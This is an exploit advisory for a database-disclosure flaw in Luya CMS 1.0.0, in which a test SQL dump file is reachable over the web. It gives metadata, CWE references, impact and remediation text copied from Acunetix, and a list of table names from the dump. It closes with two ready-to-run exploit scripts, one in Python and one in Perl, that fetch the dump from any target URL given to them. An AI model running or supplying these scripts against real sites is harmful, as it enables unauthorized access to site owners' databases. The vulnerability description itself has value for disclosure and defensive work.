###########################################################################
# Exploit Title : Luya CMS 1.0.0 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/04/2019
# Vendor Homepage : luya.io
# Software Download Link : github.com/luyadev/luya/archive/master.zip
# Software Information Link : luya.io/guide/install
github.com/luyadev/luya
# Software Version : All 1.0.0 RC1 and Beta Version - Latest Version 1.0.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Description about Software :
***************************
LUYA is a scalable web framework and content management system with
the goal to please developers, clients and users alike.
The Yii 2 PHP Framework wrapper which provides out of the box functions like an
administration interface, a beautiful looking content management system, payment modules,
agency workflows and other tools to develop your website pretty fast!
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
Information :
***********
Unit Test
Create Database (example luya_env_phpunit)
Insert Database dump from tests/data/sql/1.0.0.sql
Rename phpunit.xml.dist to phpunit.xml
Change dsn, username and password in phpunit.xml
Ensure you have installed current composer packages composer install with dev packages.
Execute the phpunit bin file ./vendor/bin/phpunit.
Shield
###########################################################################
Significant File :
***************
1.0.0-RC1.sql / 1.0.0-RC2.sql / 1.0.0-RC3.sql / 1.0.0-RC4.sql
/ 1.0.0-beta1.sql / 1.0.0-beta2.sql
1.0.0-beta3.sql / 1.0.0-beta4.sql / 1.0.0-beta5.sql / 1.0.0-beta6.sql
/ 1.0.0-beta7.sql / 1.0.0-beta8.sql / 1.0.0.sql
/tests/data/sql/1.0.0.sql
-- MySQL dump 10.13 Distrib 5.7.20, for Linux (x86_64)
--
-- Host: localhost Database: luya_env_phpunit
-- ------------------------------------------------------
-- Server version 5.7.20-0ubuntu0.17.10.1
-- Table structure for table `admin_auth`
-- Dumping data for table `admin_auth`
-- Table structure for table `admin_config`
-- Dumping data for table `admin_config`
-- Table structure for table `admin_group`
-- Dumping data for table `admin_group`
-- Table structure for table `admin_group_auth`
-- Dumping data for table `admin_group_auth`
-- Table structure for table `admin_lang`
-- Dumping data for table `admin_lang`
-- Table structure for table `admin_logger`
-- Dumping data for table `admin_logger`
-- Table structure for table `admin_ngrest_log`
-- Dumping data for table `admin_ngrest_log`
-- Table structure for table `admin_property`
-- Dumping data for table `admin_property`
-- Table structure for table `admin_proxy_build`
-- Dumping data for table `admin_proxy_build`
-- Table structure for table `admin_proxy_machine`
-- Dumping data for table `admin_proxy_machine`
-- Table structure for table `admin_search_data`
-- Dumping data for table `admin_search_data`
-- Table structure for table `admin_storage_effect`
-- Dumping data for table `admin_storage_effect`
-- Table structure for table `admin_storage_file`
-- Dumping data for table `admin_storage_file`
-- Table structure for table `admin_storage_filter`
-- Dumping data for table `admin_storage_filter`
-- Table structure for table `admin_storage_filter_chain`
-- Dumping data for table `admin_storage_filter_chain`
-- Table structure for table `admin_storage_folder`
-- Dumping data for table `admin_storage_folder`
-- Table structure for table `admin_storage_image`
-- Dumping data for table `admin_storage_image`
-- Table structure for table `admin_tag`
-- Dumping data for table `admin_tag`
-- Table structure for table `admin_tag_relation`
-- Dumping data for table `admin_tag_relation`
-- Table structure for table `admin_user`
-- Dumping data for table `admin_user`
-- Table structure for table `admin_user_group`
-- Dumping data for table `admin_user_group`
-- Table structure for table `admin_user_login`
-- Dumping data for table `admin_user_login`
-- Table structure for table `admin_user_online`
-- Dumping data for table `admin_user_online`
-- Table structure for table `cms_block`
-- Dumping data for table `cms_block`
-- Table structure for table `cms_block_group`
-- Dumping data for table `cms_block_group`
-- Table structure for table `cms_config`
-- Dumping data for table `cms_config`
-- Table structure for table `cms_layout`
-- Dumping data for table `cms_layout`
-- Table structure for table `cms_log`
-- Dumping data for table `cms_log`
-- Table structure for table `cms_nav`
-- Dumping data for table `cms_nav`
-- Table structure for table `cms_nav_container`
-- Dumping data for table `cms_nav_container`
-- Table structure for table `cms_nav_item`
-- Dumping data for table `cms_nav_item`
-- Table structure for table `cms_nav_item_module`
-- Dumping data for table `cms_nav_item_module`
-- Table structure for table `cms_nav_item_page`
-- Dumping data for table `cms_nav_item_page`
-- Table structure for table `cms_nav_item_page_block_item`
-- Dumping data for table `cms_nav_item_page_block_item`
-- Table structure for table `cms_nav_item_redirect`
-- Dumping data for table `cms_nav_item_redirect`
-- Table structure for table `cms_nav_permission`
-- Dumping data for table `cms_nav_permission`
-- Table structure for table `cms_nav_property`
-- Dumping data for table `cms_nav_property
-- Table structure for table `cms_redirect`
-- Dumping data for table `cms_redirect`
-- Table structure for table `migration`
-- Dumping data for table `migration`
-- Dump Completed.
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/tests/data/sql/1.0.0.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Luya CMS 1.0.0 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="tests/data/sql/1.0.0.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/tests/data/sql/1.0.0.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/tests/data/sql/1.0.0.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################